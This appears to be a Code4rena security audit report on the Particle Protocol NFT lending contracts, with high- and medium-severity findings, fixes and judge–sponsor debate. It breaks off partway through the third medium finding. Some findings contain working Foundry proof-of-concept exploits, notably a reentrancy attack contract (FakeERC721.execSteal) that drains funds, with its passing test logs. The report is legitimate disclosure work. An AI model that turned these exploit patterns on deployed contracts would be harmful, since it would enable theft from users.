Particle Protocol - Invitational Findings & Analysis Report

2023-08-07

Table of contents

Overview

About C4

Code4rena (C4) is an open organization consisting of security researchers, auditors, developers, and individuals with domain expertise in smart contracts.

A C4 audit is an event in which community participants, referred to as Wardens, review, audit, or analyze smart contract logic in exchange for a bounty provided by sponsoring projects.

During the audit outlined in this document, C4 conducted an analysis of the Particle Protocol smart contract system written in Solidity. The audit took place between May 30 - June 2 2023.

Wardens

In Code4rena's Invitational audits, the competition is limited to a small group of wardens; for this audit, 5 wardens contributed reports:

1. adriro
2. bin2chen
3. d3e4
4. minhquanym
5. rbserver

This audit was judged by hansfriese.

Final report assembled by thebrittfactor.

Summary

The C4 analysis yielded an aggregated total of 10 unique vulnerabilities. Of these vulnerabilities, 6 received a risk rating in the category of HIGH severity and 4

received a risk rating in the category of MEDIUM severity.

Additionally, C4 analysis included 5 reports detailing issues with a risk rating of LOW severity or non-critical. There were also 3 reports recommending gas optimizations.

All of the issues presented here are linked back to their original finding.

Scope

The code under review can be found within the C4 Particle Protocol repository, and is composed of 5 smart contracts written in the Solidity programming language and includes 688 lines of Solidity code.

Severity Criteria

C4 assesses the severity of disclosed vulnerabilities based on three primary risk categories: high, medium, and low/non-critical.

High-level considerations for vulnerabilities span the following key areas when conducting assessments:

- Malicious Input Handling
- Escalation of privileges
- Arithmetic
- Gas use

For more information regarding the severity criteria referenced throughout the submission review process, please refer to the documentation provided on the C4 website, specifically our section on Severity Categorization.

High Risk Findings (6)

[H-01] `ParticleExchange.auctionBuyNft` and `ParticleExchange.withdrawEthWithInterest` function calls can be DOS'ed

Submitted by rbserver, *also found by* d3e4, adriro, bin2chen, *and* minhquanym

When `lien.borrower` is a contract, its `receive` function can be coded to conditionally revert based on a state boolean variable controlled by `lien.borrower`'s owner. As long as `payback > 0` is true, `lien.borrower`'s `receive` function would be called when calling the following `ParticleExchange.auctionBuyNft` function. In this situation, if the owner of `lien.borrower` intends to DOS the `ParticleExchange.auctionBuyNft` function call, especially when `lien.credit` is low or 0, she or he would make `lien.borrower`'s `receive` function revert.

https://github.com/code-423n4/2023-05-particle/blob/bbd1c01407a017046c86fdb483bbabfb1fb085d8/contracts/protocol/ParticleExchange.sol#L688-L748

```
        function auctionBuyNft(
            Lien calldata lien,
            uint256 lienId,
            uint256 tokenId,
            uint256 amount
        ) external override validateLien(lien, lienId) auctionLive(l
            ...

            // pay PnL to borrower
            uint256 payback = lien.credit + lien.price - payableInte
            if (payback > 0) {
                payable(lien.borrower).transfer(payback);
            }

            ...
        }
```

Moreover, after the auction of the lien is concluded, calling the following `ParticleExchange.withdrawEthWithInterest` function can call `lien.borrower`'s `receive` function, as long as `lien.credit > payableInterest` is true. In this case, the owner of `lien.borrower` can also make `lien.borrower`'s `receive` function revert to DOS, the `ParticleExchange.withdrawEthWithInterest` function call.

https://github.com/code-423n4/2023-05-particle/blob/bbd1c01407a017046c86fdb483bbabfb1fb085d8/contracts/protoc

ol/ParticleExchange.sol#L192-L223

```
function withdrawEthWithInterest(Lien calldata lien, uint256
    ...

    uint256 payableInterest = _calculateCurrentPayableInteres

    // verify that the liquidation condition has met (borrow
    if (payableInterest < lien.credit && !_auctionConcluded(
        revert Errors.LiquidationHasNotReached();
    }

    // delete lien (delete first to prevent reentrancy)
    delete liens[lienId];

    // transfer ETH with interest back to lender
    payable(lien.lender).transfer(lien.price + payableInteres

    // transfer PnL to borrower
    if (lien.credit > payableInterest) {
        payable(lien.borrower).transfer(lien.credit - payabl
    }

    ...
}
```

Similar situations can happen if `lien.borrower` does not implement the `receive` or `fallback` function intentionally; in which `lien.borrower`'s owner is willing to pay some position margin, which can be a low amount depending on the corresponding lien, to DOS the `ParticleExchange.auctionBuyNft` and `ParticleExchange.withdrawEthWithInterest` function calls.

Proof of Concept

The following steps can occur for the described scenario for the `ParticleExchange.auctionBuyNft` function. The situation for the `ParticleExchange.withdrawEthWithInterest` function is similar:

1. Alice is the owner of `lien.borrower` for a lien.
2. The lender of the lien starts the auction for the lien.

3. Alice does not want the auction to succeed, so she makes `lien.borrower`'s `receive` function revert by changing the controlled state boolean variable for launching the DOS attack to true.
4. For a couple of times during the auction period, some other users are willing to win the auction by supplying an NFT from the same collection, but their `ParticleExchange.auctionBuyNft` function calls all revert.
5. Since no one's `ParticleExchange.auctionBuyNft` transaction is executed at the last second of the auction period, the auction is DOS'ed.

Recommended Mitigation Steps

The `ParticleExchange.auctionBuyNft` and `ParticleExchange.withdrawEthWithInterest` functions can be updated to record the `payback` and `lien.credit - payableInterest` amounts that should belong to `lien.borrower`, instead of directly sending these amounts to `lien.borrower`. Then, a function can be added to let `lien.borrower` call and receive these recorded amounts.

Assessed type

DoS

hansfriese (judge) increased severity to High and commented:

> PoC -> Marked as primary

wukong-particle (Particle) confirmed, disagreed with severity and commented:

> Acknowledged the issue and agreed with the suggestion. But this might be medium severity since it's contained with only this borrower's asset and fund, not speared to the protocol level.

hansfriese (judge) commented:

> @wukong-particle - For the severity, I suggest High is appropriate.

> According to C4 guideline:

> High: Assets can be stolen/lost/compromised directly (or indirectly if there is a valid attack path that does not have hand-wavy hypotheticals).

> For this vulnerability, a malicious borrower can prevent the lender from taking action for defaulted lien. So a borrower can wait as long as he wants and the lender can not claim NFT or ETH. The likelihood and the impact are both high. I would like to note that there is no cost to the borrower for this exploit.

wukong-particle (Particle) commented:

> @hansfriese - thanks for the suggestion, I agree. We can mark this issue as high severity.

wukong-particle (Particle) commented:

> Fixed. Want to check with you about the changes we made. There are three major modifications here:

> (1) As suggested, we put the trader earning into a pull based approach — we created a `mapping(address => uint256) public accountBalance;` , and do `accountBalance[account] += gainedAmount` for trader profit. In addition, besides `auctionBuyNft` and `withdrawEthWithInterest` , we default all trader profit (i.e., from `buyNftFromMarket` , `repayWithNft`) into `accountBalance` , as opposed to a direct transfer back, for consistency.

> (2) We merged `accruedInterest` into `accountBalance` too, for simplicity. So this is like each account has a wallet in the contract. For treasury calculation, we move all calculations into interest accrual time as opposed to `accountBalance` withdrawal time, so that treasury still only takes the interest part, but not the trader gain as before.

> (3) At `sellNftToMarket` , by default the trader will use the balance from the contract as their margin. If the balance is not enough, the trader can choose to top up the margin. Thus, the margin will be an input into the function, as opposed to `msg.value` . The logic is as follows:

```
if (margin > msg.value + accountBalance[msg.sender]) {
      revert Errors.Overspend();
}
```

```
        if (margin > msg.value) {
            // newly deposited value not enough, use from account
            accountBalance[msg.sender] -= (margin - msg.value);
        } else if (margin < msg.value) {
            // newly deposited value more than enough, top up acc
            accountBalance[msg.sender] += (msg.value - margin);
        }
```

[H-02] Treasury fee is not collected in `withdrawEthWithInterest()`

Submitted by adriro*, also found by* rbserver *and* minhquanym

The Particle exchange collects treasury fees from the lender's interests. These interests are accumulated in the `interestAccrued` mapping and are withdrawn using the `_withdrawAccountInterest()` function, which splits the portion that corresponds to the treasury.

https://github.com/code-423n4/2023-05-particle/blob/main/contracts/protocol/ParticleExchange.sol#L231-L246

```
231:     function _withdrawAccountInterest(address payable lende
232:         uint256 interest = interestAccrued[lender];
233:         if (interest == 0) return;
234:
235:         interestAccrued[lender] = 0;
236:
237:         if (_treasuryRate > 0) {
238:             uint256 treasuryInterest = MathUtils.calculateT
239:             _treasury += treasuryInterest;
240:             interest -= treasuryInterest;
241:         }
242:
243:         lender.transfer(interest);
244:
245:         emit WithdrawAccountInterest(lender, interest);
246:     }
```

Lines 238-240 calculate treasury fees and accumulate them in the `_treasury` variable, which is later withdrawn by the owner using the `withdrawTreasury()`

function.

However, these fees fail to be considered in the case of `withdrawEthWithInterest()`:

https://github.com/code-423n4/2023-05-particle/blob/main/contracts/protocol/ParticleExchange.sol#L192-L223

```
192:     function withdrawEthWithInterest(Lien calldata lien, ui
193:         if (msg.sender != lien.lender) {
194:             revert Errors.Unauthorized();
195:         }
196:
197:         if (lien.loanStartTime == 0) {
198:             revert Errors.InactiveLoan();
199:         }
200:
201:         uint256 payableInterest = _calculateCurrentPayable]
202:
203:         // verify that the liquidation condition has met (k
204:         if (payableInterest < lien.credit && !_auctionConcl
205:             revert Errors.LiquidationHasNotReached();
206:         }
207:
208:         // delete lien (delete first to prevent reentrancy)
209:         delete liens[lienId];
210:
211:         // transfer ETH with interest back to lender
212:         payable(lien.lender).transfer(lien.price + payable]
213:
214:         // transfer PnL to borrower
215:         if (lien.credit > payableInterest) {
216:             payable(lien.borrower).transfer(lien.credit - p
217:         }
218:
219:         emit WithdrawETH(lienId);
220:
221:         // withdraw interest from this account too
222:         _withdrawAccountInterest(payable(msg.sender));
223:     }
```

As we can see in the previous snippet of code, the interests are calculated in line 201, but that amount is then transferred, along with the lien price, back to the lender in full in line 212, without deducting any treasury fees.

Recommendation

The interest can be simply accumulated in the `interestAccrued` mapping, which is later withdrawn (correctly taking into account treasury fees) in the already present call to `_withdrawAccountInterest()`.

```
    function withdrawEthWithInterest(Lien calldata lien, uint256 l
        if (msg.sender != lien.lender) {
            revert Errors.Unauthorized();
        }

        if (lien.loanStartTime == 0) {
            revert Errors.InactiveLoan();
        }

        uint256 payableInterest = _calculateCurrentPayableInterest

        // verify that the liquidation condition has met (borrowe
        if (payableInterest < lien.credit && !_auctionConcluded(li
            revert Errors.LiquidationHasNotReached();
        }

        // delete lien (delete first to prevent reentrancy)
        delete liens[lienId];

+       // accrue interest to lender
+       interestAccrued[lien.lender] += payableInterest;

@       // transfer ETH back to lender
@       payable(lien.lender).transfer(lien.price);

        // transfer PnL to borrower
        if (lien.credit > payableInterest) {
            payable(lien.borrower).transfer(lien.credit - payable
        }

        emit WithdrawETH(lienId);

        // withdraw interest from this account too
```

```
        _withdrawAccountInterest(payable(msg.sender));
    }
```

wukong-particle (Particle) acknowledged and commented:

> We will likely fix the issue in another way. We will modify `withdrawNftWithInterest` and `withdrawEthWithInterest` into `withdrawNft` and `withdrawEth`, i.e. move the interest withdraw into the single account level interest withdraw function (similar to the suggestion made in https://github.com/code-423n4/2023-05-particle-findings/issues/31).

hansfriese (judge) increased severity to High and commented:

> After discussion, I think that High is the appropriate severity because this issue incurs loss for the protocol.

wukong-particle (Particle) commented:

> Fixed.

[H-03] `_execBuyNftFromMarket()` Need to determine if NFT can't already be in the contract

Submitted by bin2chen, *also found by* minhquanym

Use other Lien's NFTs for repayment

Proof of Concept

`_execBuyNftFromMarket()` Whether the NFT is in the current contract after the buy, to represent the successful purchase of NFT.

```
    function _execBuyNftFromMarket(
        address collection,
        uint256 tokenId,
        uint256 amount,
        uint256 useToken,
```

```
            address marketplace,
            bytes calldata tradeData
        ) internal {
    ...

            if (IERC721(collection).ownerOf(tokenId) != address(this
                revert Errors.InvalidNFTBuy();
            }
        }
```

But before executing the purchase, it does not determine whether the NFT is already in the contract.

Since the current protocol does not limit an NFT to only one lien, the `_execBuyNftFromMarket()` does not actually buy NFT; the funds are used to buy other NFTs, but still meet the verification conditions.

Example.

1. Alice transfers NFT_A to supply Lien[1].
2. Bob performs `sellNftToMarket(1)` and NFT_A is bought by Jack.
3. Jack transfer NFT*A and supply Lien[2] (after this NFT*A exists in the contract).
4. Bob executes `buyNftFromMarket(1)` and spends the same amount corresponding to the purchase of other NFT such as: `tradeData = { buy NFT_K }`.
5. Step 4 can be passed `IERC721(collection).ownerOf(tokenId) ! = address(this) || balanceBefore - address(this).balance ! = amount` and Bob gets an additional NFT_K.

Test code:

```
        function testOneNftTwoLien() external {
            //0.lender supply lien[0]
            _approveAndSupply(lender,_tokenId);
            //1.borrower sell to market
            _rawSellToMarketplace(borrower, address(dummyMarketplace
            //2.jack buy nft
            address jack = address(0x100);
```

```
        vm.startPrank(jack);
        dummyMarketplace.buyFromMarket(jack,address(dummyNFTs),_
        vm.stopPrank();
        //3.jack  supply lien[1]
        _approveAndSupply(jack, _tokenId);
        //4.borrower buyNftFromMarket , don't need buy dummyNFTs
        OtherDummyERC721 otherDummyERC721 = new OtherDummyERC721
        otherDummyERC721.mint(address(dummyMarketplace),1);
        console.log("before borrower balance:",borrower.balance
        console.log("before otherDummyERC721's owner is borrowe
        bytes memory tradeData = abi.encodeWithSignature(
            "buyFromMarket(address,address,uint256)",
            borrower,
            address(otherDummyERC721),//<--------buy other nft
            1
        );
        vm.startPrank(borrower);
        particleExchange.buyNftFromMarket(
            _activeLien, 0, _tokenId, _sellAmount, 0, address(du
        vm.stopPrank();
        //5.show borrower get 10 ether back , and get  other nft
        console.log("after borrower balance:",borrower.balance /
        console.log("after otherDummyERC721's owner is borrower

    }



contract OtherDummyERC721 is ERC721 {
    // solhint-disable-next-line no-empty-blocks
    constructor(string memory name, string memory symbol) ERC721

    function mint(address to, uint256 tokenId) external {
        _safeMint(to, tokenId);
    }
}



$ forge test --match testOneNftTwoLien  -vvv

[PASS] testOneNftTwoLien() (gas: 1466296)
Logs:
  before borrower balance: 0
  before otherDummyERC721's owner is borrower : false
  after borrower balance: 10
```

```
    after otherDummyERC721's owner is borrower : true

Test result: ok. 1 passed; 0 failed; finished in 6.44ms
```

Recommended Mitigation Steps

`_execBuyNftFromMarket` to determine the `ownerOf()` is not equal to the contract address before buying.

```
    function _execBuyNftFromMarket(
        address collection,
        uint256 tokenId,
        uint256 amount,
        uint256 useToken,
        address marketplace,
        bytes calldata tradeData
    ) internal {
        if (!registeredMarketplaces[marketplace]) {
            revert Errors.UnregisteredMarketplace();
        }
+       require(IERC721(collection).ownerOf(tokenId) != address(
...
```

Assessed type

Context

hansfriese (judge) commented:

> PoC -> Marked as primary

wukong-particle (Particle) confirmed and commented:

> Fixed.

[H-04] `_execSellNftToMarket()` re-enter steal funds

Submitted by bin2chen

Proof of Concept

`_execSellNftToMarket()` The number of changes in the balance to represent whether the corresponding amount has been received.

```
        function _execSellNftToMarket(
            address collection,
            uint256 tokenId,
            uint256 amount,
            bool pushBased,
            address marketplace,
            bytes calldata tradeData
        ) internal {
    ...

            if (
                IERC721(collection).ownerOf(tokenId) == address(this
                address(this).balance - ethBefore - wethBefore != am
            ) {
                revert Errors.InvalidNFTSell();
            }
```

Since the current contract doesn't have any `nonReentrant` restrictions, the user can use `reentrant` and pay only once when multiple `_execSellNftToMarket()` s share the same transfer of funds.

Here are some examples:

1. Alice supplies a fake NFT_A.
2. Alice executes `sellNftToMarket()` , assuming `sellAmount=10` .
3. `execSellNftToMarket()` inside the `IERC721(collection).safeTransferFrom()` for re-entry.
   Note: The collection is an arbitrary contract, so `safeTransferFrom()` can be any code.
4. Reenter the execution of another Lien's `sellNftToMarket()` , and really transfer to `amount=10` .
5. After the above re-entry, go back to step 3. This step does not need to actually pay, because step 4 has been transferred to `sellAmount = 10` , so it can pass

this verification `address(this).balance - ethBefore - wethBefore != amount` so that only one payment is made, reaching the `sellNftToMarket()` twice.

Test code:

add to ParticleExchange.t.sol

```
    function testReenter() public{
        vm.deal(address(particleExchange),100 ether);
        FakeERC721 fakeERC721 =  new FakeERC721(particleExchange
        vm.deal(address(fakeERC721),10 ether);
        fakeERC721.execSteal();
    }



contract FakeERC721 is ERC721 {
    ParticleExchange private particleExchange;
    address private marketplace;
    uint sellAmount = 10 ether;
    constructor(ParticleExchange _particleExchange,address _mark
        particleExchange = _particleExchange;
        marketplace = _marketplace;
    }

    function mint(address to, uint256 tokenId) external {
        _safeMint(to, tokenId);
    }

    function execSteal() external {
        //0. mint nft and supply lien
        uint256 tokenId = 1;
        _mint(address(this), tokenId);
        _mint(address(this), tokenId + 1);
        _setApprovalForAll(address(this),address(particleExchang
        //console.log(isApprovedForAll(address(this),address(par
        uint256 lienId = particleExchange.supplyNft(address(this
        uint256 lienId2 = particleExchange.supplyNft(address(thi
        uint256 particleExchangeBefore = address(particleExchang
        uint256 fakeNftBefore = address(this).balance;
        console.log("before particleExchange balance:",particleB
        console.log("before fakeNft balance:",fakeNftBefore / 1
        //1.sell , reenter pay one but sell two lien
```

```
        sell(lienId,tokenId,sellAmount);
        //2. repay lien 1 get 10 ether funds
        particleExchange.repayWithNft(
            Lien({
                lender: address(this),
                borrower: address(this),
                collection: address(this),
                tokenId: tokenId,
                price: sellAmount,
                rate: 0,
                loanStartTime: block.timestamp,
                credit: 0,
                auctionStartTime: 0
            }),
            lienId,
            tokenId
        );
        //3. repay lien 2 get 10 ether funds
        particleExchange.repayWithNft(
            Lien({
                lender: address(this),
                borrower: address(this),
                collection: address(this),
                tokenId: tokenId + 1,
                price: sellAmount,
                rate: 0,
                loanStartTime: block.timestamp,
                credit: 0,
                auctionStartTime: 0
            }),
            lienId2,
            tokenId + 1
        );
        //4.show fakeNft steal funds
        console.log("after particleExchange balance:",address(pa
        console.log("after fakeNft balance:",address(this).balar
        console.log("after particleExchange lost:",(particleExch
        console.log("after fakeNft steal:",(address(this).balanc
    }

    function sell(uint256 lienId,uint256 tokenId,uint256 sellAmc
        bytes memory tradeData = abi.encodeWithSignature(
            "sellToMarket(address,address,uint256,uint256)",
            address(particleExchange),
            address(this),
            tokenId,
```

```
            sellAmount
        );
        particleExchange.sellNftToMarket(
            Lien({
                lender: address(this),
                borrower: address(0),
                collection: address(this),
                tokenId: tokenId,
                price: sellAmount,
                rate: 0,
                loanStartTime: 0,
                credit: 0,
                auctionStartTime: 0
            }),
            lienId,
            sellAmount,
            true,
            marketplace,
            tradeData
        );
    }
    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId,
        bytes memory data
    ) public virtual override {
        if(from == address(particleExchange)){
            if (tokenId == 1) { //tokenId =1 , reenter , don't p
                sell(1,tokenId + 1 ,sellAmount);
            }else { // tokenId = 2 ,real pay
                payable(address(particleExchange)).transfer(sell
            }
        }
        _transfer(_ownerOf(tokenId),to,tokenId); //anyone can tr
    }
    fallback() external payable {}
}



$ forge test --match testReenter  -vvv

Running 1 test for test/ParticleExchange.t.sol:ParticleExchangeT
[PASS] testReenter() (gas: 1869563)
Logs:
```

```
before particleExchange balance: 100
before fakeNft balance: 10
after particleExchange balance: 90
after fakeNft balance: 20
after particleExchange lost: 10
after fakeNft steal: 10
```

Test result: ok. 1 passed; 0 failed; finished in 4.80ms

Recommended Mitigation Steps

Add `nonReentrant` restrictions to all Lien-related methods.

Assessed type

Reentrancy

hansfriese (judge) commented:

> Good finding!

wukong-particle (Particle) confirmed and commented:

> Fixed.

[H-05] withdrawNftWithInterest() possible take away other Lien's NFT

Submitted by **bin2chen**, *also found by* **rbserver**, **d3e4**, *and* **minhquanym**

Proof of Concept

`withdrawNftWithInterest()` is used to retrieve NFT. The only current restriction is if you can transfer out of NFT, it means an inactive loan.

```
function withdrawNftWithInterest(Lien calldata lien, uint256
    if (msg.sender != lien.lender) {
        revert Errors.Unauthorized();
    }
```

```
            // delete lien
            delete liens[lienId];

            // transfer NFT back to lender
            /// @dev can withdraw means NFT is currently in contract
            /// @dev the interest (if any) is already accured to ler
            IERC721(lien.collection).safeTransferFrom(address(this),
    ...
```

However, the current protocol does not restrict the existence of only one Lien in the same NFT.

For example, the following scenario.

1. Alice transfers NFT_A and supply Lien[1].
2. Bob executes `sellNftToMarket()`.
3. Jack buys NFT_A from the market.
4. Jack transfers NFT_A and supply Lien[2].
5. Alice executing `withdrawNftWithInterest(1)` is able to get NFT*A successfully (because step 4 NFT*A is already in the contract). This results in the deletion of lien[1], and Lien[2]'s NFT_A is transferred away.

The result is: Jack's NFT is lost and Bob's funds are also lost.

Recommended Mitigation Steps

Need to determine whether there is a Loan

```
        function withdrawNftWithInterest(Lien calldata lien, uint256
            if (msg.sender != lien.lender) {
                revert Errors.Unauthorized();
            }

    +       require(lien.loanStartTime == 0,"Active Loan");
```

Assessed type

Context

adriro (warden) commented:

> Nice finding

wukong-particle (Particle) confirmed and commented:

> Fixed.

[H-06] Marketplace may call `onERC721Received()` and create a lien during `buyNftFromMarket()`, creating divergence

Submitted by minhquanym

The contract supports a "push-based" NFT supply, where the price and rate are embedded in the data bytes. This way, the lender doesn't need to additionally approve the NFT, but can just transfer it directly to the contract. However, since the contract also interacts with the marketplace to buy/sell NFT, it has to prevent the issue where the marketplace also sends data bytes, which might tie 1 NFT with 2 different liens and create divergence.

```
    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) external returns (bytes4) {
        if (data.length == 64) {
            // @audit marketplace is router so the executor contract
            if (registeredMarketplaces[operator]) {
                /// @dev transfer coming from registeredMarketplaces
                /// is matched with an existing lien (realize PnL) a
                /// with two liens, which creates divergence.
                revert Errors.Unauthorized();
            }
            /// @dev MAX_PRICE and MAX_RATE should each be way below
            (uint256 price, uint256 rate) = abi.decode(data, (uint25
```

```
            /// @dev the msg sender is the NFT collection (called by
            _supplyNft(from, msg.sender, tokenId, price, rate);
        }
        return this.onERC721Received.selector;
    }
```

The contract prevents it by using the `registeredMarketplaces[]` mapping, where it records the address of the marketplace. This check is explicitly commented in the codebase.

However, this is not enough. The protocol plans to integrate with Reservoir's Router contract, so only the Router address is whitelisted in `registeredMarketplaces[]`. But the problem is, the address that transfers the NFT is not the Router, but the specific Executor contract, which is not whitelisted.

As a result, the marketplace might bypass this check and create a new lien in `onERC721Received()` during the `buyNftFromMarket()` flow, thus making 2 liens track the same NFT.

Proof of Concept

Function `_execBuyNftFromMarket()` does a low-level call to the exchange.

```
    // execute raw order on registered marketplace
    bool success;
    if (useToken == 0) {
        // use ETH
        // solhint-disable-next-line avoid-low-level-calls
        (success, ) = marketplace.call{value: amount}(tradeData);
    } else if (useToken == 1) {
        // use WETH
        weth.deposit{value: amount}();
        weth.approve(marketplace, amount);
        // solhint-disable-next-line avoid-low-level-calls
        (success, ) = marketplace.call(tradeData);
    }
```

The contract calls to Reservoir's router contract, which then calls to a specific module to execute the buy.

https://github.com/reservoirprotocol/indexer/blob/6c89d546d3fb98d5eaa505b9943e89bd91f2e8ec/packages/contracts/contracts/router/ReservoirV6_0_1.sol#L50

```
function _executeInternal(ExecutionInfo calldata executionInfo)
  address module = executionInfo.module;

  // Ensure the target is a contract
  if (!module.isContract()) {
    revert UnsuccessfulExecution();
  }

  (bool success, ) = module.call{value: executionInfo.value}(exe
  if (!success) {
    revert UnsuccessfulExecution();
  }
}
```

Recommended Mitigation Steps

Consider adding a flag that indicates the contract is in the `buyNftFromMarket()` flow and use it as a check in `onERC721Received()`. For example:

```
_marketBuyFlow = 1;
_execBuyNftFromMarket(lien.collection, tokenId, amount, useToker
_marketBuyFlow = 0;
```

And in `onERC721Receive()`:

```
if (data.length == 64) {
  if(_martketBuyFlow) {
    return this.onERC721Received.selector;
  }
}
```

Assessed type

Invalid Validation

wukong-particle (Particle) confirmed and commented:

> We are considering adding `ReentrancyGaurd` around all functions that modify the lien (to prevent other issues like https://github.com/code-423n4/2023-05-particle-findings/issues/14). Here, we should be able to re-use the `ReentrancyGaurd` variable to prevent divergence.

> So something like this:

```
buyNftFromMarket(...) external payable override validateLien(Lie
 ...
}
```

> in `onERC721Received`:

```
if (data.length == 64) {
  if(_status === _ENTERED) {
    revert Errors.Unauthorized();
  }
}
```

> We will need to modify _status to be `internal` instead of `private` from Openzeppelin's original `ReentrancyGaurd.sol`.

wukong-particle (Particle) commented:

> Fixed.

Medium Risk Findings (4)

[M-01] NFT withdrawal grief

Submitted by d3e4, *also found by* adriro

A lienee whose NFT is not currently on loan may be prevented from withdrawing it.

Proof of Concept

A lienee who wishes to withdraw his NFT calls `withdrawNftWithInterest()` which tries to `IERC721.safeTransferFrom()` the NFT, which reverts if the NFT is not in the contract (being on loan). A griefer might therefore sandwich his call to `withdrawNftWithInterest()` with a `swapWithEth()` and a `repayWithNft()`. `swapWithEth()` removes the NFT from the contract, which causes the following `withdrawNftWithInterest()` to revert. For this, the griefer has to pay `lien.credit + lien.price`. But this is returned in full in `repayWithNft()`, minus `payableInterest` which is nothing, since the loan time is zero.

Recommended Mitigation Steps

Allow the option to, at any time, set a lien to not accept a new loan.

Assessed type

DoS

hansfriese (judge) commented:

> No economic benefit for the attacker.

wukong-particle (Particle) disputed and commented:

> Judge is correct. And this NFT swap behavior can happen any time (similar to https://github.com/code-423n4/2023-05-particle-findings/issues/19); there's no particular benefit doing so as a sandwich attack.

d3e4 (warden) commented:

> No economic benefit for the attacker.

> There doesn't have to be. This is a pure griefing attack to prevent the lienee from withdrawing, hence rated only Medium.

hansfriese (judge) commented:

> @wukong-particle - I think this grief attack does not incur a direct loss for the lender, but if the NFT ownership could yield any other type of profit, this can lead to an implicit economical loss for the lender. From this viewpoint, I am leaning to agree with the MEDIUM severity although the sandwich attack costs significantly on the main net.

wukong-particle (Particle) commented:

> @hansfriese - I agree this is a pure grief attack with no economic incentive. This could be Medium or Low severity issue because grief can technically raid any swap feature (even for any protocol). In the report, please point out the pure grief nature of this attack — we will consider patching this (e.g., the minimum fee for opening a position), but if we leave this grief attack we want to acknowledge that there's no loss or anything associated with it. Thanks!

adriro (warden) commented:

> @hansfriese - I addressed this in L-9 here

> There's no incentive here other than the grief, and the attacker will only have to pay gas. I believe the report has overinflated severity and should be downgraded to low. The recommendation also doesn't make sense, because the option could also be sandwiched by the same attack. Tagging the sponsor to hear their thoughts - @wukong-particle.

d3e4 (warden) commented:

> @adriro - I completely agree L-9 in #28 is a duplicate.

> But what is this idea that there must be an economic incentive? Has there been a change of severity categorisation that I am not aware of? Medium is explicitly meant for when the assets are not at direct risk but for example when availability is impacted. Grief is a very standard Medium attack. The attacker might do it just out of pure spite. The point is to protect users, not to prevent attackers from profiting.

> The recommendation cannot be attacked in the same way. If the user sets the lien to not accept any new loan, then as soon as the attacker repays the loan he cannot retake it again, and then the lender can withdraw it.

hansfriese (judge) commented:

> @d3e4 - I would invite you to provide precedents that can support your opinion. The economic benefit affects the likelihood of the attack.

> But what is this idea that there must be an economic incentive? Has there been a change of severity categorisation that I am not aware of? Medium is explicitly meant for when the assets are not at direct risk but for example when availability is impacted. Grief is a very standard Medium attack. The attacker might do it just out of pure spite. The point is to protect users, not to prevent attackers from profiting.

wukong-particle (Particle) commented:

> We decided to leave this grief in this round of contract updating and we will come back to it if there's a really large volume of grief happening. We just wanted to emphasize the pure grief nature of this shenanigan, since there's no loss or anything associated with it. Thanks!

d3e4 (warden) commented:

> @d3e4 I would invite you to provide precedents that can support your opinion. The economic benefit affects the likelihood of the attack.

> But what is this idea that there must be an economic incentive? Has there been a change of severity categorisation that I am not aware of? Medium is explicitly meant for when the assets are not at direct risk but for example when availability is impacted. Grief is a very standard Medium attack. The attacker might do it just out of pure spite. The point is to protect users, not to prevent attackers from profiting.

> These seem to be griefing with no economic benefit for the attacker:
> https://github.com/code-423n4/2023-02-ethos-findings/issues/381
> https://github.com/code-423n4/2023-01-reserve-findings/issues/384
> https://github.com/code-423n4/2023-01-astaria-findings/issues/324
> https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/182

> I think the main argument would be that if direct griefing is possible and there is an economic gain for the attacker, this would immediately become High severity, as it is a direct compromise on assets. It would equally be High if the grief is permanent after a one-time attack, which is a definitive loss of assets, even

> though they don't end up with the attacker. In this case, the assets are not permanently lost, so it doesn't quite reach that High level, but it is the closest step below and has a direct impact on function and availability.

[M-02] `addCredit()` DOS Attack

Submitted by bin2chen*, also found by* d3e4*,* d3e4*, and* minhquanym

Proof of Concept

`addCredit()` can be called by anyone, and the `msg.value` is as small as `1 wei`.

Users can modify Lien at a small cost, causing the value stored in `liens[lienId]=keccak256(abi.encode(lien))` to change. By front-run, the normal user's transaction `validateLien()` fails the check, thus preventing the user's transaction from being executed.

The following methods will be exploited (most methods with `validateLien()` will be affected). For example:

1. Front-run `auctionBuyNft()` is used to prevent others from bidding.
2. Front-run `startLoanAuction()` to prevent the lender from starting the auction.
3. Front-run `stopLoanAuction()` is used to stop Lender from closing the auction. etc.

Recommended Mitigation Steps

1. `addCredit()` can execute only by the borrower.
2. Add the modification interval period.
3. Limit min of `msg.value`.

Assessed type

Context

hansfriese (judge) increased severity to High and commented:

> Concise explanation and reasonable mitigation recommendation. Marked as primary.

hansfriese (judge) commented:

> Preventing borrowers from repaying NFT by causing DoS for `repayWithNft` is another severe exploit: #40

wukong-particle (Particle) confirmed, disagreed with severity and commented:

> Should be a Medium risk because no fund or asset can be stolen. `addCredit` incurs non-trivial gas so DOS can't economically happen very often.

> We agree with the suggestion to add a borrower only check and add a minimum 0.01 ETH credit limit.

hansfriese (judge) decreased severity to Medium and commented:

> Agree with the sponsor. Downgrading to Medium.

d3e4 (warden) commented:

> We agree with the suggestion to add a borrower only check and add a minimum 0.01 ETH credit limit.

> Adding a borrower only check seems good. But I am concerned that 0.01 ETH is not enough. If the max price is 72 ETH, then the auction price will increase 0.01 ETH for every block. It then seems very reasonable that the borrower could still profitably DoS `auctionBuyNft()` so that they can call it when the price is close to max. This is, of course, an illegitimate use case of `addCredit()`. A way to avoid having any minimum limit for legitimate use of `addCredit()` is to enforce that the borrower is solvent after adding credit. This way, the hefty minimum limit only applies to adding additional credit, which is what is susceptible to exploits.

wukong-particle (Particle) commented:

> Mitigated.

[M-03] New treasury rate should not affect existing loan

Submitted by minhquanym*, also found by* d3e4 *and* rbserver

In the protocol, lenders have to pay a small treasury fee when they claim their interest. The contract owner can change this `_treasuryRate` at any time using the function `setTreasuryRate()`.

```
// @audit treasury rate should not affect existing loan
function setTreasuryRate(uint256 rate) external onlyOwner {
    if (rate > MathUtils._BASIS_POINTS) {
        revert Errors.InvalidParameters();
    }
    _treasuryRate = rate;
    emit UpdateTreasuryRate(rate);
}
```

However, when the admin changes the rate, the new treasury rate will also be applied to active loans, which is not the agreed-upon term between the lenders and borrowers when they supplied the NFT and created the loan.

Proof of Concept

Consider the following scenario:

1. Alice and Bob have an active loan with an accumulated interest of 1 ETH and `_treasuryRate = 5%`.
2. The admin suddenly changes the `_treasuryRate` to `50%`. Now, if Alice claims the interest, she needs to pay 0.5 ETH to the treasury and keep 0.5 ETH.
